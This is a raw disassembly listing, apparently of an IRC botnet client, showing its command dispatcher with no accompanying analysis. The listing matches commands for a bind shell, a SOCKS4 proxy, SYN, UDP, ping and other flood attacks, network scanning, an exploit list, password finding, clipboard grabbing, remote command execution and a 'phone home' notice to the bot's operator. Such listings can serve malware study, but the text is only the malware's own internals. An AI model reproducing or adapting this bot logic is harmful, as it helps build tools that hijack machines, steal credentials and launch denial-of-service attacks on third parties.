lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 18h
loc_4026E2: ; CODE XREF: sub_401ACD+BAFj
; sub_401ACD+BC3j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40263B
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD ; "$%d"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_402742
mov eax, [edi]
cmp eax, ebx
jz short loc_402742
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
loc_402742: ; CODE XREF: sub_401ACD+C5Aj
; sub_401ACD+C60j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_4026FF
mov [ebp+var_2C8], 1
loc_402757: ; CODE XREF: sub_401ACD+AE6j
; sub_401ACD+B14j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_402770
cmp [ebp+var_2C8], ebx
jz loc_402961
loc_402770: ; CODE XREF: sub_401ACD+C95j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_41843B
lea eax, [ebp+var_C4]
push eax
push offset aUser_1 ; "$user"
push edi
call sub_41843B
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_41843B
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_41843B
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_41843B
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj
test eax, eax
jz loc_4028DF
push edi
push [ebp+arg_0]
call sub_41C2E0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41BFD0
lea eax, [ebp+var_A0]
push offset asc_42CAAC ; ")"
push eax
call sub_41CAD4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40282E
cmp [ebp+var_A0], 39h
jle short loc_402844
loc_40282E: ; CODE XREF: sub_401ACD+D56j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41BFD0
add esp, 0Ch
loc_402844: ; CODE XREF: sub_401ACD+D5Fj
lea eax, [ebp+var_A0]
push eax
call sub_41C159
test eax, eax
pop ecx
jle short loc_40286A
lea eax, [ebp+var_A0]
push eax
call sub_41C159
pop ecx
mov [ebp+var_94], al
jmp short loc_40287E
; ---------------------------------------------------------------------------
loc_40286A: ; CODE XREF: sub_401ACD+D86j
call sub_41C2C2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40287E: ; CODE XREF: sub_401ACD+D9Bj
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41B9C0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BF70
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 30h
jmp loc_4027E2
; ---------------------------------------------------------------------------
loc_4028DF: ; CODE XREF: sub_401ACD+D17j
mov edi, 1FFh
lea eax, [ebp+var_428C]
push edi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push edi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
lea eax, [ebp+var_4EF8]
push offset asc_42CDC0 ; " "
push eax
call sub_41CAD4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40292F: ; CODE XREF: sub_401ACD+E77j
push offset asc_42CDC0 ; " "
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40292F
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401F75
add ecx, 3
mov [eax], ecx
loc_402961: ; CODE XREF: sub_401ACD+C9Dj
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aRn ; "rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aLogout ; "logout"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aLo ; "lo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aVersion ; "version"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aVer ; "ver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aRulez ; "rulez"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aRz ; "rz"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aSpeedtest ; "speedtest"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSt ; "st"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsecure ; "unsecure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsec ; "unsec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aBindshell ; "bindshell"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBd ; "bd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B0E
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CA08
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B0E: ; CODE XREF: sub_401ACD+1027j
push edi
push offset aSocks4 ; "socks4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aS4 ; "s4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B61
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C9E0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B61: ; CODE XREF: sub_401ACD+107Aj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B8A
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C9C4
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B8A: ; CODE XREF: sub_401ACD+10A3j
push edi
push offset aHttpstop ; "httpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB3
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C9A8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BB3: ; CODE XREF: sub_401ACD+10CCj
push edi
push offset aLogstop ; "logstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BDC
push [ebp+esi+var_8C]
push 25h
push offset dword_42C994
push offset dword_42C988
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BDC: ; CODE XREF: sub_401ACD+10F5j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C05
push [ebp+esi+var_8C]
push 18h
push offset dword_42C968
push offset dword_42C958
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_401ACD+111Ej
push edi
push offset dword_42C94C
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C2E
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42C940
push offset dword_42C934
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C2E: ; CODE XREF: sub_401ACD+1147j
push edi
push offset aSynstop ; "synstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C57
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42C920
push offset dword_42C914
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C57: ; CODE XREF: sub_401ACD+1170j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C80
push [ebp+esi+var_8C]
push 10h
push offset dword_42C8F8
push offset dword_42C8E8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C80: ; CODE XREF: sub_401ACD+1199j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CA9
push [ebp+esi+var_8C]
push 11h
push offset dword_42C8CC
push offset dword_42C8BC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CA9: ; CODE XREF: sub_401ACD+11C2j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD2
push [ebp+esi+var_8C]
push 12h
push offset dword_42C8A4
push offset dword_42C898
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CD2: ; CODE XREF: sub_401ACD+11EBj
push edi
push offset aPacketstop ; "packetstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402E28
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42C940
push offset dword_42C934
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 0Eh
push offset dword_42C920
push offset dword_42C914
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 17h
push offset dword_42C880
push offset dword_42C874
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 16h
push offset dword_42C868
push offset dword_42C85C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 11h
push offset dword_42C8CC
push offset dword_42C8BC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 12h
push offset dword_42C8A4
push offset dword_42C898
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 0Fh
push offset dword_42C84C
push offset dword_42C83C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 13h
push offset dword_42C82C
push offset dword_42C81C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 10h
push offset dword_42C8F8
push offset dword_42C8E8
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push ebx
push [ebp+var_4]
push offset unk_42C7E8
push [ebp+var_88]
push edi
call sub_409869
add esp, 34h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_402E28: ; CODE XREF: sub_401ACD+1214j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E51
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42C84C
push offset dword_42C83C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E51: ; CODE XREF: sub_401ACD+136Aj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E7A
push [ebp+esi+var_8C]
push 13h
push offset dword_42C82C
push offset dword_42C81C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E7A: ; CODE XREF: sub_401ACD+1393j
push edi
push offset aUdpstop ; "udpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA3
push [ebp+esi+var_8C]
push 17h
push offset dword_42C880
push offset dword_42C874
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EA3: ; CODE XREF: sub_401ACD+13BCj
push edi
push offset aPingstop ; "pingstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402ECC
push [ebp+esi+var_8C]
push 16h
push offset dword_42C868
push offset dword_42C85C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402ECC: ; CODE XREF: sub_401ACD+13E5j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EF5
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C7A0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EF5: ; CODE XREF: sub_401ACD+140Ej
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aFfstop ; "ffstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aProcsstop ; "procsstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aPsstop ; "psstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aClonestop ; "clonestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F72
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C750
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F72: ; CODE XREF: sub_401ACD+148Bj
push edi
push offset aSecurestop ; "securestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F9B
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C72C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F9B: ; CODE XREF: sub_401ACD+14B4j
push edi
push offset aScanstop ; "scanstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402FC4
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42C70C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402FC4: ; CODE XREF: sub_401ACD+14DDj
push edi
push offset aScanstats ; "scanstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aStats ; "stats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aTransferstats ; "transferstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aTrstats ; "trstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aCbstats ; "cbstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aExploitlist ; "exploitlist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aExplist ; "explist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aReconnect ; "reconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aDisconnect ; "disconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aDc ; "dc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aQuit_0 ; "quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aQ ; "q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aStatus ; "status"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aS_0 ; "s"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aId ; "id"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aI ; "i"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aR3start ; "r3start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403190
call sub_418884
test eax, eax
mov eax, offset unk_42C64C
jnz short loc_403162
mov eax, offset unk_42C628
loc_403162: ; CODE XREF: sub_401ACD+168Ej
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 1Ch
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_403190: ; CODE XREF: sub_401ACD+1680j
push edi
push offset aThreads ; "threads"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aT ; "t"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aAliases ; "aliases"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aAl ; "al"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aLog ; "log"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aLg ; "lg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aClearlog ; "clearlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aClg ; "clg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aNetinfo ; "netinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aNi ; "ni"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aSysinfo ; "sysinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aSi ; "si"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aProcs ; "procs"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aPs ; "ps"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aUptime ; "uptime"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aUp ; "up"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aDrv ; "drv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aTestdlls ; "testdlls"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aDll ; "dll"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aOpencmd ; "opencmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aOcmd ; "ocmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aCmdstop ; "cmdstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4033B1
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C574
push offset dword_42C568
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4033B1: ; CODE XREF: sub_401ACD+18CAj
push edi
push offset dword_42C564
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4034C7
cmp [ebp+var_8], ebx
jnz short loc_4033E5
push ebx
push [ebp+var_4]
push offset dword_42C550
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4033E5: ; CODE XREF: sub_401ACD+18FCj
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_4033F2
; ---------------------------------------------------------------------------
loc_4033EF: ; CODE XREF: sub_401ACD+196Cj
mov eax, [ebp+arg_18]
loc_4033F2: ; CODE XREF: sub_401ACD+1920j
cmp [eax], bl
jz short loc_4033F9
inc eax
jmp short loc_4033FE
; ---------------------------------------------------------------------------
loc_4033F9: ; CODE XREF: sub_401ACD+1927j
mov eax, offset aEmpty ; "<Empty>"
loc_4033FE: ; CODE XREF: sub_401ACD+192Aj
push eax
push edi
lea eax, [ebp+var_2C4]
push offset aD_S ; "%d. %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_4033EF
push offset unk_42C520
call sub_415D38
pop ecx
loc_403446: ; CODE XREF: sub_401ACD+1BFDj
; sub_401ACD+2EFAj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_401F75
push [ebp+arg_8]
push offset aSpoof ; "spoof"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404AAB
push offset aOff ; "off"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4049D9
lea eax, [ebp+var_2C4]
push offset unk_42C4EC
push eax
mov dword_4CF180, ebx
call sub_41C266
pop ecx
pop ecx
loc_40349D: ; CODE XREF: sub_401ACD+2FD9j
cmp [ebp+var_8], ebx
jnz loc_409644
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
loc_4034BF: ; CODE XREF: sub_401ACD+7032j
add esp, 14h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4034C7: ; CODE XREF: sub_401ACD+18F3j
push edi
push offset aGetclip ; "getclip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aGc ; "gc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aFlusharp ; "flusharp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFarp ; "farp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFlushdns ; "flushdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aFdns ; "fdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aCurrentip ; "currentip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aCip ; "cip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aRloginserver ; "rloginserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aRlogin ; "rlogin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aHttpserver ; "httpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aHttp ; "http"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aTftpserver ; "tftpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aTftp ; "tftp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aShitycrash ; "shitycrash"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403653
lea eax, [ebp+var_2C4]
push offset unk_42C444
push eax
call sub_41C266
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403632
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403632: ; CODE XREF: sub_401ACD+1B47j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
mov [esp+10h+var_10], offset aShitycrash ; "shitycrash"
push [ebp+esi+var_7C]
call sub_41CA50
jmp loc_4097D0
; ---------------------------------------------------------------------------
loc_403653: ; CODE XREF: sub_401ACD+1B2Fj
push edi
push offset aAsc ; "asc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aAs ; "as"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aPhonehome ; "phonehome"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4036AA
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"...
push [ebp+arg_4]
call sub_409823
loc_4036A2: ; CODE XREF: sub_401ACD+47Bj
add esp, 0Ch
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj
push edi
push offset aFindpass ; "findpass"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4036D0
push edi
push offset aFp ; "fp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_403446
loc_4036D0: ; CODE XREF: sub_401ACD+1BECj
push [ebp+var_88]
lea eax, [ebp+var_FEC]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_F68], eax
mov eax, [ebp+var_8]
mov [ebp+var_F64], eax
push offset unk_42C3C4
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_F6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF0]
push ebx
push eax
push offset sub_4172C1
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_F6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403778
loc_403762: ; CODE XREF: sub_401ACD+1CA9j
cmp [ebp+var_F60], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 26C04BFh
jmp short loc_403762
; ---------------------------------------------------------------------------
loc_403778: ; CODE XREF: sub_401ACD+1C93j
call near ptr 26C0CC8h
nop
push eax
push offset unk_42C388
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_403789: ; CODE XREF: sub_401ACD+1B95j
; sub_401ACD+1BAAj
mov al, byte_4319DA
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4319DA
jz loc_401F75
mov ecx, edx
loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037A0
cmp al, bl
jz loc_401F75
mov [ebp+arg_18], edx
loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj
push 0Bh
call sub_40B602
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 320h
add edx, ecx
cmp edx, eax
jle short loc_403808
push ecx
lea eax, [ebp+var_2C4]
push offset dword_42C34C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
jmp loc_403A72
; ---------------------------------------------------------------------------
loc_403808: ; CODE XREF: sub_401ACD+1D06j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], eax
mov [ebp+arg_0], ebx
jz short loc_403875
mov eax, [ebp+arg_18]
mov esi, offset dword_4317F8
lea edi, [eax-0Ah]
loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj
lea eax, [esi-28h]
push edi
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40385B
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_40383F
jmp short loc_403875
; ---------------------------------------------------------------------------
loc_40385B: ; CODE XREF: sub_401ACD+1D80j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_74C], ecx
loc_403875: ; CODE XREF: sub_401ACD+1D65j
; sub_401ACD+1D8Cj
cmp [ebp+var_74C], ebx
jz loc_403A86
push 10h
lea eax, [ebp+var_2D4]
pop esi
push eax
